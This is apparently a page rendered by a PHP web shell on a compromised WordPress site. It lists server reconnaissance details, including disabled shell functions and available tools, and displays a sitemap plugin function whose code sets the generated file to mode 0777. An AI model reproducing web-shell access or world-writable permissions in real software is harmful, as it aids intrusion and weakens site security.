AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK
| Server IP : dzynews.com / Your IP : 216.73.217.105 Web Server : nginx/1.30.3 System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64 User : www ( 1000) PHP Version : 8.2.31 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/dzynews.com/wp-content/plugins/wppao-sitemap/module/ |
Upload File : |
<?php
function wppsmp_update_xml($xml_contents){
$wppsmp_siteurl = home_url();
$wppsmp_updatetime = current_time('timestamp', '1');
$wppsmp_lasttime = date("Y-m-d\TH:i:s+00:00",$wppsmp_updatetime);
$xml_begin = '<?xml version="1.0" encoding="UTF-8"?>'.wppsmp_xml_annotate().'<urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">';
$xml_home = "<url><loc>$wppsmp_siteurl</loc><lastmod>$wppsmp_lasttime</lastmod><changefreq>daily</changefreq><priority>1.0</priority></url>";
$xml_end = '</urlset>';
if($xml_contents){
$sitemap_xml = $xml_begin.$xml_home.$xml_contents.$xml_end;
$wppsmp_get_sitepath = wppsmp_get_sitepath();
$filename = $wppsmp_get_sitepath.'sitemap.xml';
if( wppsmp_get_filestatus($wppsmp_get_sitepath) || wppsmp_get_filestatus($filename) ){
file_put_contents("$filename","$sitemap_xml");
@chmod($filename, 0777);
wppsmp_show_messages("生成XML地图成功");
}else{
wppsmp_show_messages("生成XML地图失败,目录不可写入");
}
}else{
wppsmp_show_messages("生成XML地图失败,没有内容");
}
}